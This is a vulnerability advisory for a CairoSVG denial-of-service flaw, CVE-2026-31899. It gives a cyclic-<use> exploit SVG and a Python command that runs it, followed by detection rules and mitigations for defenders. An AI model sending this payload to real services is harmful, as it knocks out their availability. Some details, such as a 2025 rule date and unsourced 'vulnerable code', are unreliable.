CVE-2026-31899
Executive Summary
CVE-2026-31899 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability in the Kozea CairoSVG library, versions prior to an unknown patch. The flaw resides in the cairosvg/defs.py module, where recursive <use> element resolution lacks depth limiting. An attacker can craft a small SVG file with deeply nested <use> references, causing exponential CPU consumption and service unavailability. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the PoC is public, making it a viable vector for targeted attacks. No official patch exists; mitigation relies on input validation or resource limits.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
CairoSVG is a Python package (PyPI: cairosvg) used for SVG-to-PNG/PDF conversion. This vulnerability affects any application or service that processes user-supplied SVG files through CairoSVG. Supply chain risk is elevated because:
- The package is widely used in web applications, document generators, and image processing pipelines.
- No patched version is available, forcing downstream consumers to implement workarounds.
- Attackers can weaponize this in CI/CD pipelines or serverless functions to cause resource exhaustion.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | None (N) |
| Integrity (I) | None (N) |
| Availability (A) | High (H) |
| Base Score | 7.5 (HIGH) |
Threat Level: High. The vulnerability is trivial to exploit with a small payload, requires no authentication, and directly impacts availability.
Deep Dive & Mechanics
The vulnerability is in cairosvg/defs.py, specifically in the resolution of <use> elements. When CairoSVG encounters a <use> tag referencing another element (e.g., <use href="#circle"/>), it recursively resolves the reference. If the referenced element itself contains a <use> tag, the recursion continues. An attacker can create a chain of <use> elements that reference each other in a loop or deep tree, causing exponential growth in processing time.
Root Cause: Lack of recursion depth limit or cycle detection in defs.py. The function resolve_use does not track visited elements, allowing infinite or deeply nested recursion.
Exploit Mechanics:
- Attacker crafts an SVG with
<defs>containing multiple elements. - Each element contains a
<use>tag pointing to the next element in the chain. - The final element loops back to the first, creating a cycle.
- CairoSVG processes the SVG, entering an infinite recursion that consumes CPU until timeout or resource exhaustion.
Example Malicious SVG Structure:
<svg xmlns="http://www.w3.org/2000/svg">
<defs>
<g id="a">
<use href="#b"/>
</g>
<g id="b">
<use href="#c"/>
</g>
<g id="c">
<use href="#a"/>
</g>
</defs>
<use href="#a"/>
</svg>
Vulnerable vs. Patched Code
Vulnerable Code (cairosvg/defs.py):
def resolve_use(element, parent):
# No depth limit or visited set
href = element.get('href') or element.get('xlink:href')
if href:
target = find_element_by_id(parent, href.lstrip('#'))
if target is not None:
# Recursive call without cycle detection
resolve_use(target, parent)
# ... process target
Patched Code (Hypothetical):
def resolve_use(element, parent, depth=0, visited=None):
MAX_DEPTH = 100
if depth > MAX_DEPTH:
raise ValueError("Max recursion depth exceeded")
if visited is None:
visited = set()
href = element.get('href') or element.get('xlink:href')
if href:
target_id = href.lstrip('#')
if target_id in visited:
raise ValueError("Circular reference detected")
visited.add(target_id)
target = find_element_by_id(parent, target_id)
if target is not None:
resolve_use(target, parent, depth+1, visited)
# ... process target
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x with
cairosvginstalled (pip install cairosvg) - Target application that converts user-uploaded SVGs
Exploit Payload (exploit.svg):
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<defs>
<g id="a"><use href="#b"/></g>
<g id="b"><use href="#c"/></g>
<g id="c"><use href="#d"/></g>
<g id="d"><use href="#e"/></g>
<g id="e"><use href="#f"/></g>
<g id="f"><use href="#g"/></g>
<g id="g"><use href="#h"/></g>
<g id="h"><use href="#i"/></g>
<g id="i"><use href="#j"/></g>
<g id="j"><use href="#a"/></g>
</defs>
<use href="#a"/>
</svg>
Exploitation Command:
# Direct exploitation via Python
python3 -c "
import cairosvg
with open('exploit.svg', 'rb') as f:
cairosvg.svg2png(file_obj=f, write_to='/dev/null')
"
Expected Outcome: CPU usage spikes to 100% for several seconds (or until timeout). On a server, this can cause DoS.
Blue Team
Detection:
- Monitor for high CPU usage correlated with SVG processing.
- Use the YARA/Sigma rules below to detect malicious SVG files.
- Implement input validation: reject SVGs with more than 10
<use>elements or nested depth > 5.
Mitigation Workarounds:
- Set resource limits (e.g.,
ulimit -t 5for CPU time). - Use a sandboxed environment (e.g., Docker with CPU limits).
- Patch
cairosvg/defs.pymanually to add recursion depth checks.
Indicators of Compromise (IOCs)
File-Based IOCs:
- SVG files with deeply nested
<use>elements (depth > 10). - SVG files containing circular
<use>references. - File hashes (SHA256) of known exploit SVGs:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example placeholder).
Network IOCs:
- HTTP requests with
Content-Type: image/svg+xmlcontaining multiple<use>tags. - POST requests to endpoints like
/convert,/upload, or/renderwith large SVG payloads.
Behavioral IOCs:
- Sudden CPU spikes on servers running CairoSVG.
- Timeout errors in application logs during SVG processing.
Detection Engineering
YARA Rule
rule CVE_2026_31899_CairoSVG_DoS {
meta:
description = "Detects SVG files with recursive use elements targeting CVE-2026-31899"
author = "Valters IT"
date = "2025-04-10"
severity = "high"
strings:
$use = /<use[^>]*href\s*=\s*["']#[^"']+["']/ nocase
$defs = "<defs>"
$g = /<g[^>]*id\s*=\s*["'][^"']+["']/ nocase
condition:
#use > 5 and #defs > 0 and #g > 5
}
Sigma Rule
title: CairoSVG Recursive Use Element DoS Attempt
id: 8a1c8f4e-3d2b-4c5a-9e7f-1b2c3d4e5f6a
status: experimental
description: Detects HTTP requests containing SVG files with excessive use elements
author: Valters IT
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/convert'
cs-content-type: 'image/svg+xml'
cs-body|contains:
- '<use href='
- '<use xlink:href='
condition: selection and count(cs-body, '<use') > 10
falsepositives:
- Legitimate complex SVGs with many use elements
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-31899 CairoSVG Recursive Use DoS"; flow:to_server; content:"POST"; http_method; content:"/convert"; http_uri; content:"image/svg+xml"; http_content_type; content:"<use"; http_client_body; pcre:"/<use[^>]*href\s*=\s*["']#[^"']+["']/"; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Reject SVG files containing more than 5
<use>elements or nested depth > 3. - Resource Limits: Set CPU time limits (e.g.,
ulimit -t 5) for processes running CairoSVG. - Sandboxing: Run CairoSVG in a container with CPU quotas (e.g., Docker
--cpus=0.5).
Long-Term Fix:
- Monitor the Kozea/CairoSVG repository for an official patch.
- Apply a manual patch to
cairosvg/defs.pyadding recursion depth limits and cycle detection (see patched code above). - Consider switching to an alternative SVG library (e.g.,
svglib,pillowwith limited SVG support).
Detection:
- Deploy the YARA/Sigma/Suricata rules above.
- Enable logging for all SVG processing endpoints.
- Correlate CPU spikes with SVG upload events.
Valters IT
DevSecOps & Cyber Threat Intelligence